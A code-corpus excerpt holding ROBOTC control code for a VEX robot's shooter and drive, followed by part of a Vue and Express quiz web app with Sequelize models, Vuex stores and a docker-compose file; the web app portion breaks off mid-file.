if (speed > 660){ power = 35; } else if (speed > 650){ power = 34; } else if (speed > 640){ power = 33; } else if (speed > 630){ power = 32; } else if (speed > 620){ power = 31; } else if (speed > 610){ power = 30; } else if (speed > 600){ power = 29; } else if (speed > 590){ power = 28; } else if (speed > 580){ power = 27; } else if (speed > 570){ power = 26; } else if (speed > 560){ power = 25; } else if (speed > 550){ power = 24; } else if (speed > 540){ power = 23; } else if (speed > 530){ power = 22; } else if (speed > 520){ power = 21; } else if (speed > 510){ power = 20; } else if (speed > 500){ power = 19; } else if (speed > 490){ power = 18; } else if (speed > 480){ power = 17; } else if (speed > 470){ power = 16; } else if (speed > 460){ power = 15; } else if (speed > 450){ power = 14; } else if (speed > 440){ power = 13; } else if (speed > 430){ power = 12; } else if (speed > 420){ power = 11; } else if (speed > 410){ power = 10; } else if (speed > 400){ power = 9; } else if (speed > 100){ power = 5; } else { power = 0; } return power; } int getLeftShooterPower(int speed){ int power = 0; if (speed > 975){ power = 70; } else if (speed > 955){ power = 69; } else if (speed > 935){ power = 68; } else if (speed > 915){ power = 67; } else if (speed > 895){ power = 66; } else if (speed > 875){ power = 65; } else if (speed > 870){ power = 64; } else if (speed > 865){ power = 63; } else if (speed > 860){ power = 62; } else if (speed > 854){ power = 61; } else if (speed > 848){ power = 60; } else if (speed > 842){ power = 59; } else if (speed > 836){ power = 58; } else if (speed > 830){ power = 57; } else if (speed > 820){ power = 56; } else if (speed > 810){ power = 55; } else if (speed > 800){ power = 54; } else if (speed > 794){ power = 53; } else if (speed > 788){ power = 52; } else if (speed > 782){ power = 51; } else if (speed > 776){ power = 50; } else if (speed > 770){ power = 49; } else if (speed > 755){ power = 48; } else if (speed > 745){ power = 47; } else if (speed > 730){ power = 46; } else if (speed > 722){ power = 45; } else if (speed > 714){ power = 44; } else if (speed > 706){ power = 43; } else if (speed > 698){ power = 42; } else if (speed > 690){ power = 41; } else if (speed > 680){ power = 40; } else if (speed > 655){ power = 39; } else if (speed > 640){ power = 38; } else if (speed > 625){ power = 37; } else if (speed > 620){ power = 36; } else if (speed > 610){ power = 35; } else if (speed > 600){ power = 34; } else if (speed > 590){ power = 33; } else if (speed > 580){ power = 32; } else if (speed > 570){ power = 31; } else if (speed > 560){ power = 30; } else if (speed > 550){ power = 29; } else if (speed > 540){ power = 28; } else if (speed > 530){ power = 27; } else if (speed > 520){ power = 26; } else if (speed > 510){ power = 25; } else if (speed > 500){ power = 24; } else if (speed > 490){ power = 23; } else if (speed > 480){ power = 22; } else if (speed > 470){ power = 21; } else if (speed > 460){ power = 20; } else if (speed > 450){ power = 19; } else if (speed > 440){ power = 18; } else if (speed > 430){ power = 17; } else if (speed > 420){ power = 16; } else if (speed > 410){ power = 15; } else if (speed > 400){ power = 14; } else if (speed > 100){ power = 5; } else { power = 0; } return power; } <file_sep>#pragma config(Sensor, dgtl4, leftShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl6, rightShooter, sensorQuadEncoder) #pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port8, leftTopShooter, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port9, rightTopShooter, tmotorVex393_MC29, openLoop) //*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// task shooter_power_control() { int last_left_clicks = 0; int print_value = 0; SensorValue[leftShooter] = 0; int current_left_clicks = 0; while(true) { motor[leftTopShooter] = 25; current_left_clicks = SensorValue[leftShooter]; int current_left_speed = current_left_clicks - last_left_clicks; last_left_clicks = current_left_clicks; print_value = (print_value + 1); if(print_value == 1){ //writeDebugStreamLine("current_right_clicks: %d", current_right_clicks); writeDebugStreamLine("current_right_speed: %d", current_left_speed); //writeDebugStreamLine("elapsed_right_clicks: %d", elapsed_right_clicks); //writeDebugStreamLine("elapsed_time: %d", elapsed_time); //writeDebugStreamLine("current_read_time: %d", current_read_time); //writeDebugStreamLine("shooter_target_speed: %d", shooter_target_speed); // writeDebugStreamLine("right shooter power: %d", motor[rightTopShooter]); print_value = 0; } delay(500); } } task main() { startTask(shooter_power_control); } <file_sep>#pragma config(Sensor, dgtl1, GreenLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl2, YellowLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl3, RedLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl4, leftShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl6, rightShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl8, drive, sensorQuadEncoder) #pragma config(Sensor, dgtl11, FrontLED, sensorLEDtoVCC) #pragma config(Sensor, dgtl12, BackLED, sensorLEDtoVCC) #pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port4, Intake, tmotorVex393_MC29, openLoop) #pragma config(Motor, port5, Puncher, tmotorVex393_MC29, openLoop) #pragma config(Motor, port6, strafe, tmotorVex393_MC29, openLoop) #pragma config(Motor, port7, rightLifter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port8, leftTopShooter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, rightTopShooter, tmotorVex393_MC29, openLoop, reversed) //*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// #pragma platform(VEX) //Competition Control and Duration Settings #pragma competitionControl(Competition) #pragma autonomousDuration(15) #pragma userControlDuration(105) #include "HeadLightControl.c" #include "AutoShooting.c" //#include "AutoShootingSimple.c" #include "pidShooterControl.c" //#include "ShooterPowerControlV4.c" #include "DriverJoystickControls.c" #include "Vex_Competition_Includes.c" void pre_auton() { bStopTasksBetweenModes = true; } task autonomous() { set_shooter_targets(57); startTask(shooter_power_control); startTask(AutoIntake); delay(13000); hipshot = true; //simpleAutoIntake(5); //if(SensorValue[Jumper] == 1){ //set_shooter_targets(0); //spinLeft(); // } //else { //simpleAutoIntake(5); // } } task usercontrol() { stopTask(AutoIntake); startTask(shooter_power_control); startTask(controllerPolling); startTask(driving); setHeadLights(driveTrainReversed); while (true) { delay(100000); } } <file_sep>#include "Filter.c" #include "RealRobotPowerTable.c" #include "StopLightControl.c" #include "StableCheck.c" #define ADJUST_LOCKOUT_CYCLES 35 int shooter_target_speed = 0; bool speedChange = false; bool backOut = false; // backOut is for returning a ball from the shooter back into the intake. bool toggleShooterWheels = false; // Global Variables for shooter control // These are set by the joystick methods task shooter_power_control(){ int rightPowerOffset = 0; int leftPowerOffset = 0; bool recoveringRight = false; bool recoveringLeft = false; int last_right_clicks = 0; int last_left_clicks = 0; int last_read_time = -10; int left_power = 0; int right_power = 0; int left_adjust_lockout = 0; int right_adjust_lockout = 0; int loop_counter = 0; int green_counter = 0; while(true) { if (toggleShooterWheels == true){ motor[leftTopShooter] = 0; motor[rightTopShooter] = 0; delay(2000); toggleShooterWheels = false; } // Backout mode has highest priority if (backOut == true){ motor[leftTopShooter] = -100; motor[rightTopShooter] = -100; } // Otherwise, normal mode with target speeds else { loop_counter = loop_counter + 1; //Don't let the counts get too high!!! if (loop_counter > 30){ green_counter = 0; loop_counter = 0; } // Variables for power control int current_right_clicks = SensorValue[rightShooter]; int current_left_clicks = SensorValue[leftShooter]; int current_read_time = nPgmTime; // current raw speed int elapsed_right_clicks = current_right_clicks - last_right_clicks; int elapsed_left_clicks = current_left_clicks - last_left_clicks; // int elapsed_time = current_read_time - last_read_time; // filtered speed int current_right_speed = elapsed_right_clicks * 5; int current_left_speed = elapsed_left_clicks * 5; // Stoplight color controls int left_color = NONE; int right_color = NONE; //Using lockout timer to not over-adjust //Every cycle lower the lockout timer; only allow changes if timer is 0; if (left_adjust_lockout > 0) left_adjust_lockout = left_adjust_lockout - 1; if (right_adjust_lockout > 0) right_adjust_lockout = right_adjust_lockout - 1; // Do power control with filtered values; if(shooter_target_speed == 0){ right_color = NONE; right_power = 0; left_color = NONE; left_power = 0; ShooterMode = STOPPED; } // else shooter target speed > 0 else{ // Right Side Speed Control // Right Side is in recovery mode if (recoveringRight){ // In recovery mode, we use max power until we reach 85% of target speed if(current_right_speed > (shooter_target_speed * 0.85)){ recoveringRight = false; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES ; right_color = YELLOW; right_power = getRightShooterPower(shooter_target_speed) + rightPowerOffset; // ending recovery, clear counters green_counter = 0; loop_counter = 0; writeDebugStreamLine("Right Side Now NORMAL Mode - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } // We're not at 95% yet, so keep recovering else{ right_color = RED; right_power = 80; } } // Else in Normal mode else{ // In normal mode, we use the lookup table // We make small adjustments (but not yet) // And we may move to recovery mode // Speed is LESS THAN 85% of target speed if(current_right_speed < (shooter_target_speed * 0.8)){ writeDebugStreamLine("Right Side Now **** RECOVERY MODE ***"); recoveringRight = true; right_color = RED; right_power = 80; rightHitStable = false; } // Otherwise use canned numbers with correcting offset else { // IF stable, we may adjust the offset int rightStableCheckResult = isRightStable(current_right_speed); if (rightStableCheckResult > 0){ purgeRightValues(); // Print out "Right side stable @ what power, and what speed" writeDebugStreamLine("Right side stable %d speed (REAL)", current_right_speed); current_right_speed = rightStableCheckResult; writeDebugStreamLine("Right side stable at %d speed (FORECAST)", current_right_speed); // Speed is less than 90% target, add POWER!!! if(current_right_speed < (shooter_target_speed * 0.9)){ // PowerOffset should never go over 30... // If so, something's wrong if ((rightPowerOffset < 30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset + 3; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust +3 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } else if(current_right_speed < (shooter_target_speed - 30)){ // PowerOffset should never go over 30... // If so, something's wrong if ((rightPowerOffset < 30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset + 2; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust +2 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } else if(current_right_speed < (shooter_target_speed - 10)){ // PowerOffset should never go over 30... // If so, something's wrong if ((rightPowerOffset < 30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset + 1; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust +1 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } else if(current_right_speed > (shooter_target_speed * 1.1)){ if ((rightPowerOffset > -30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset - 3; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust - 3 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } else if(current_right_speed > (shooter_target_speed + 40)){ if ((rightPowerOffset > -30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset - 2; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust - 2 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } else if(current_right_speed > (shooter_target_speed + 20)){ if ((rightPowerOffset > -30) && (right_adjust_lockout == 0)){ rightPowerOffset = rightPowerOffset - 1; right_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Right Side Offset Adjust -1 - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); } } // Speed is in the 4% sweet spot else { right_color = GREEN; rightHitStable = true; } } // end is stable // Now set the power level, and color right_power = getRightShooterPower(shooter_target_speed) + rightPowerOffset; right_color = YELLOW; if (((current_right_speed > (shooter_target_speed - 30)) && (current_right_speed < (shooter_target_speed + 40))) || rightHitStable) { right_color = GREEN; } } // end else (use canned numbers) } // end else (normal mode) // End of Right side Speed Control // Left Side Speed Control // Left Side is in recovery mode if (recoveringLeft){ // In recovery mode, we use max power until we reach 85% of target speed if(current_left_speed > (shooter_target_speed * 0.85)){ recoveringLeft = false; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES ; left_color = YELLOW; left_power = getLeftShooterPower(shooter_target_speed) + leftPowerOffset; // ending recovery, clear counters green_counter = 0; loop_counter = 0; writeDebugStreamLine("Left Side Now NORMAL Mode - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } // We're not at 95% yet, so keep recovering else{ left_color = RED; left_power = 80; } } // Else in Normal mode else{ // In normal mode, we use the lookup table // We make small adjustments (offset) // And we may move to recovery mode // Speed is LESS THAN 80% of target speed if(current_left_speed < (shooter_target_speed * 0.8)){ writeDebugStreamLine("Left Side Now *** RECOVERY MODE ****"); recoveringLeft = true; left_color = RED; left_power = 80; leftHitStable = false; } // Otherwise use canned numbers and Offset else { // IF stable, we may adjust the offset int leftStableCheckResult = isLeftStable(current_right_speed); if (leftStableCheckResult > 0){ purgeLeftValues(); // Print out "Left side stable @ what power, and what speed" writeDebugStreamLine("Left side stable %d speed (REAL)", current_left_speed); current_left_speed = leftStableCheckResult; writeDebugStreamLine("Left side stable at %d speed (FORECAST)", current_left_speed); // Speed is less than 90% of target, add POWER!!! if(current_left_speed < (shooter_target_speed * 0.9)){ if((leftPowerOffset < 30) && (left_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset + 3; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust +3 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } else if(current_left_speed < (shooter_target_speed - 30)){ if((leftPowerOffset < 30) && (left_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset + 2; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust +2 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } else if(current_left_speed < (shooter_target_speed - 10)){ if((leftPowerOffset < 30) && (left_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset + 1; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust +1 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } else if(current_left_speed > (shooter_target_speed * 1.1)){ if((leftPowerOffset > -30) && (right_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset - 3; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust -3 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } else if(current_left_speed > (shooter_target_speed + 40)){ if((leftPowerOffset > -30) && (right_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset - 2; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust -2 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } else if(current_left_speed > (shooter_target_speed + 20)){ if((leftPowerOffset > -30) && (right_adjust_lockout == 0)){ leftPowerOffset = leftPowerOffset - 1; left_adjust_lockout = ADJUST_LOCKOUT_CYCLES; writeDebugStreamLine("Left Side Offset Adjust -1 - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); } } // Speed is in the 4% sweet spot else { left_color = GREEN; leftHitStable = true; } } // end is stable // Now set the power level, and color left_power = getLeftShooterPower(shooter_target_speed) + leftPowerOffset; left_color = YELLOW; if (((current_left_speed > (shooter_target_speed - 30)) && (current_left_speed < (shooter_target_speed + 40))) || leftHitStable){ left_color = GREEN; } } // end "else use canned numbers" } // end "else in normal mode" // End of Left Side Speed Control } // End "Else shooter Target speed > 0 // Set Stoplight if((right_color == NONE) && (left_color == NONE)){ setStopLight(NONE); } else if((right_color == GREEN) && (left_color == GREEN)){ setStopLight(GREEN); green_counter = green_counter + 1; if (isShooterReady(green_counter,loop_counter)){ ShooterMode = READY_TO_SHOOT; } else{ ShooterMode = NORMAL; } } else if((right_color == RED) || (left_color == RED)){ // RED LIGHT = RECOVERY MODE!!! setStopLight(RED); ShooterMode = RECOVERY; } else { setStopLight(YELLOW); if (isShooterReady(green_counter,loop_counter)){ ShooterMode = READY_TO_SHOOT; } else{ ShooterMode = NORMAL; } } // The speed was changed, print the new target powers if (speedChange){ speedChange = false; writeDebugStreamLine("Left Side New - Adjusted Power: %d (%d Offset)", left_power, leftPowerOffset); writeDebugStreamLine("Right Side New - Adjusted Power: %d (%d Offset)", right_power, rightPowerOffset); leftHitStable = false; rightHitStable = false; } // Control motor power motor[leftTopShooter] = left_power; motor[rightTopShooter] = right_power; // End of power control work. // Save values for next reading time. last_left_clicks = current_left_clicks; last_right_clicks = current_right_clicks; last_read_time = current_read_time; // End of Target-Speed-Controlled mode (The NON-Backout Mode) } delay(20); } } void set_shooter_targets(int speed){ // For now, set value and print a debug statement shooter_target_speed = speed; speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void adjust_shooter_targets(int adjust_speed){ // For now, adjust value a bit, and print a debug statement shooter_target_speed = shooter_target_speed + adjust_speed; speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } <file_sep>void simpleAutoIntake(int cycles){ for (int i =0; i< cycles; i++){ delay(1000); setIntakeSpeed(100); delay(1000); setIntakeSpeed(0); } } <file_sep>#include "Filter.c" task main() { writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(0)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(43)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(98)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(130)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(134)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(85)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(154)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(76)); writeDebugStreamLine("Filter Try to Keep 100 - Got: %d", filterLeft(113)); } <file_sep>#define STOPPED 0 #define READY_TO_SHOOT 1 #define RECOVERY 2 #define NORMAL 3 int ShooterMode = STOPPED; bool leftHitStable = false; bool rightHitStable = false; bool hipshot = false; int ballsFiredCount = 0; bool isShooterReady (int greencounts,int loopcounts){ if (ShooterMode == READY_TO_SHOOT) return true; else if (leftHitStable && rightHitStable) return true; else if ((greencounts >= (.75 * loopcounts)) && (loopcounts > 8)) return true; else return false; } void ballFireDetected(){ ballsFiredCount = ballsFiredCount + 1; ShooterMode = RECOVERY; writeDebugStreamLine("Ball Fired Detected: Ball #%d", ballsFiredCount); } void setIntakeSpeed(int speed){ motor[Intake] = speed; } task AutoIntake(){ while (true){ if ((ShooterMode == READY_TO_SHOOT) || (hipshot == true)){ setIntakeSpeed(100); } else{ setIntakeSpeed(0); } delay (50); } } <file_sep>#pragma config(Sensor, dgtl1, GreenLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl2, YellowLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl3, RedLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl4, leftShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl6, rightShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl11, FrontLED, sensorLEDtoVCC) #pragma config(Sensor, dgtl12, BackLED, sensorLEDtoVCC) #pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port4, leftIntake, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port5, rightIntake, tmotorVex393_MC29, openLoop) #pragma config(Motor, port6, leftLifter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port7, rightLifter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port8, leftTopShooter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, rightTopShooter, tmotorVex393_MC29, openLoop, reversed) //*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// #include "HeadLightControl.c" #include "AutoShooting.c" #include "ShooterPowerControlV4.c" #include "DriverJoystickControls.c" task main() { setHeadLights(driveTrainReversed); // Fake Autonomous startTask(shooter_power_control); set_shooter_targets(910); startTask(AutoIntake); delay(15000); stopAllTasks(); // User Control startTask(shooter_power_control); startTask(controllerPolling); startTask(driving); while(true) { delay(105000); } } <file_sep>#include "StableCheck.c" task main() { writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(-800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10020)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(-800)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(9000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10020)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10000)? "true":"false"); writeDebugStreamLine("Is Left stable with 0? %s", isLeftStable(10010)? "true":"false"); isRightStable(800); } <file_sep> #include "RealRobotPowerTable.c" task main() { writeDebugStreamLine("Left Power for 1000: %d", getLeftShooterPower(1000)); writeDebugStreamLine("Right Power for 1000: %d", getRightShooterPower(1000)); writeDebugStreamLine("Left Power for 900: %d", getLeftShooterPower(900)); writeDebugStreamLine("Right Power for 900: %d", getRightShooterPower(900)); writeDebugStreamLine("Left Power for 600: %d", getLeftShooterPower(600)); writeDebugStreamLine("Right Power for 600: %d", getRightShooterPower(600)); writeDebugStreamLine("Left Power for 800: %d", getLeftShooterPower(800)); writeDebugStreamLine("Right Power for 800: %d", getRightShooterPower(800)); writeDebugStreamLine("Left Power for 750: %d", getLeftShooterPower(750)); writeDebugStreamLine("Right Power for 750: %d", getRightShooterPower(750)); } <file_sep> #include "Filter.c" #include "RealRobotPowerTable.c" #include "StopLightControl.c" #include "StableCheck.c" #define ADJUST_LOCKOUT_CYCLES 40 int shooter_target_speed = 0; int power_offset = 0; bool backOut = false; // backOut is for returning a ball from the shooter back into the intake. bool toggleShooterWheels = false; // Global Variables for shooter control // These are set by the joystick methods task shooter_power_control() { int RangePower = 0; while(true) { if (backOut == true){ motor[leftTopShooter] = -100; motor[rightTopShooter] = -100; } else{ // Set the range_power by Shooter Target Speed // If the Shooter Target Speed is 0, Stop if (shooter_target_speed == 0){ RangePower = 0; } // Else if STS is 910 (long range) then set RangePower to power high else if (shooter_target_speed == 910){ RangePower = 68; } // Else if STS is 780, set RangePower to mid else if (shooter_target_speed == 780){ RangePower = 38; } // Else if STS is 620, set to short else if (shooter_target_speed == 620){ RangePower = 32; } // Else something is wrong, set to 0 else { RangePower = 0; } // Control motor power motor[leftTopShooter] = RangePower + power_offset; motor[rightTopShooter] = RangePower + power_offset; // End of power control work. delay(20); } } } void set_shooter_targets(int speed){ // For now, set value and print a debug statement shooter_target_speed = speed; } void adjust_shooter_targets(int adjustment){ if (adjustment == 10){ power_offset = power_offset + 1; } else if (adjustment == -10){ power_offset = power_offset - 1; } }
d91f3f6937626c15e30ae23bf40a7554d1c6337d
[ "Markdown", "C" ]
34
C
UpperPerkRobotics/test-repo
34a2b46d024d6bb951e3942e6911296787a9409a
b5cda2daa932e66cbe1ed072fd9a88496d5f55d6
refs/heads/master
<file_sep>const Sequelize = require('sequelize') const db = require('../db.js') const Player = db.define('player', { playerName: Sequelize.STRING, score: { type: Sequelize.INTEGER, defaultValue: 0, } }); db.sync() module.exports = Player <file_sep>const secrets = require('./secrets') console.log('secrets') console.log(secrets) const Sequelize = require('sequelize'); const sequelize = new Sequelize(secrets.database, secrets.username, secrets.password, { host: 'den1.mysql2.gear.host', dialect: 'mysql', pool: { max: 5, min: 0, acquire: 30000, idle: 10000 }, operatorsAliases: false }); // sequelize.sync() // .then(() => User.create({ // username: 'janedoe', // birthday: new Date(1980, 6, 20) // })) // .then(jane => { // console.log(jane.toJSON()); // }); module.exports = sequelize <file_sep>version: '3.3' services: nginx: image: nginx:latest depends_on: - app volumes: - ./nginx.conf:/etc/nginx/nginx.conf # - buildfiles:/usr/share/nginx/html - type: volume source: buildfiles target: /usr/share/nginx/html volume: nocopy: true ports: - 80:80 - 443:443 app: # build: # context: ./app image: 'lukewilson/wwde-app' ports: - 8080:8080 volumes: - buildfiles:/wwwroot/dist server: # build: # context: ./server image: 'lukewilson/wwde-server' ports: - 3000:3000 volumes: buildfiles: {} <file_sep>import Vue from 'vue' import Router from 'vue-router' import Home from '@/views/Home.vue' import SaveAnswers from '@/views/SaveAnswers.vue' import Play from '@/views/Play.vue' import Winners from '@/views/Winners.vue' import Admin from '@/views/Admin.vue' Vue.use(Router) export default new Router({ routes: [ { path: '/', name: 'home', component: Home }, { path: '/save-answers', name: 'save-answers', component: SaveAnswers }, { path: '/play', name: 'play', component: Play }, { path: '/winners', name: 'winners', component: Winners }, { path: '/admin', name: 'admin', component: Admin }, ] }) <file_sep>import api from '@/utils/api' const state = { messages: [], playerName: "", currentAnswer: "", score: 0, finalScores: [], }; const getters = { getOrderedFinalScores: (state) => { return state.finalScores.sort((a,b) => { a.score < b.score ? 1 : -1}) } }; const actions = { createPlayer: ({commit}, {playerName}) => { api.createPlayer({playerName}) .then(r => { commit('UPDATE_PLAYERS_PROP', {key: "playerName", value: playerName}) }) }, calculateNewScore: ({commit, rootGetters, state}) => { const answer = rootGetters.currentQuestion.answer if (answer === 'sometimes' && state.currentAnswer === 'sometimes') { commit('UPDATE_SCORE', 2) } else if (answer === 'sometimes' && state.currentAnswer !== 'sometimes') { commit('UPDATE_SCORE', 0.5) } else if (answer === state.currentAnswer) { commit('UPDATE_SCORE', 1) } }, addMessage({commit}, message) { commit('PUSH_MESSAGE', {message}) } } const mutations = { UPDATE_PLAYERS_PROP(state, {key, value}) { state[key] = value }, PUSH_MESSAGE(state, {message}) { let messages = state.messages messages.unshift(message) if (messages.length > 20) { messages = messages.slice(0,19) } state.messages = messages }, UPDATE_SCORE(state, points) { state.score += points }, PUSH_FINAL_SCORE(state, {playerName, score}) { state.finalScores.push({playerName, score}) } } export default { state, getters, actions, mutations } <file_sep>const Sequelize = require('sequelize') const db = require('../db.js') const Food = db.define('food', { name: Sequelize.STRING, answer: Sequelize.STRING }); module.exports = Food <file_sep>import api from '@/utils/api' const state = { // Initial state of your store foods: [], currentQuestionIndex: -1, showAnswer: false, }; const getters = { // Getters to access your store values currentQuestion: (state) => { if (state.currentQuestionIndex < state.foods.length) { return state.foods[state.currentQuestionIndex] } else { return {} } }, gameFinished: (state) => { return state.currentQuestionIndex >= state.foods.length }, }; const actions = { saveFoods({commit, state}) { api.saveFoods(state.foods) .then(r => { console.log('response from updateFood') console.log(r) }) }, getFoods({commit}) { console.log('dispatching getFoods action') api.getFoods() .then(r => { console.log('response from getFoods') console.log(r) commit('UPDATE_FOOD_PROP', {key: 'foods', value: r.data}) }) }, resetGame({commit}) { commit('UPDATE_FOOD_PROP', {key: "currentQuestionIndex", value: 0}) }, } const mutations = { // Synchronous modifications of your store UPDATE_FOOD_PROP(state, {key, value}) { state[key] = value }, UPDATE_ANSWER(state, {id, answer}) { const foods = state.foods.map(ele => { if (ele.id === id) { ele.answer = answer } return ele }) state.foods = foods console.log(state) }, REVEAL_ANSWER(state) { state.showAnswer = true; }, UPDATE_QUESTION_INDEX(state, {newIndex}) { state.showAnswer = false; state.currentQuestionIndex = newIndex } } export default { state, getters, actions, mutations } <file_sep>import axios from 'axios' let apiBaseUrl = `${window.location.origin}/api` if (window.location.origin.includes("localhost")) { apiBaseUrl = 'http://localhost:3000/api' } export default { createPlayer({playerName}) { return axios({ method: 'post', url: `${apiBaseUrl}/player`, data: { playerName, }, }); }, getFoods() { return axios({ method: 'get', url: `${apiBaseUrl}/food`, }); }, saveFoods(foods) { return axios({ method: 'put', url: `${apiBaseUrl}/food`, data: { foods }, }); }, } <file_sep>FROM node:8.6.0 RUN mkdir -p /wwwroot WORKDIR /wwwroot COPY ./package.json /wwwroot/ RUN cd /wwwroot RUN npm install COPY . /wwwroot EXPOSE 8080 <file_sep>const db = require('../db.js'); const Food = require('../model/Food') module.exports = { getAllFoods: (req, res) => { Food.findAll() .then(foods => res.send(foods)) }, saveFoods: (req, res) => { console.log('req.body') console.log(req.body) const {foods} = req.body foods.forEach(food => { Food.update( { answer: food.answer, }, { where: { id: food.id } } ) }) }, } <file_sep>//require controllers var foodController = require('../controllers/foodController.js'); var playersController = require('../controllers/playersController.js'); module.exports = function(app, express) { 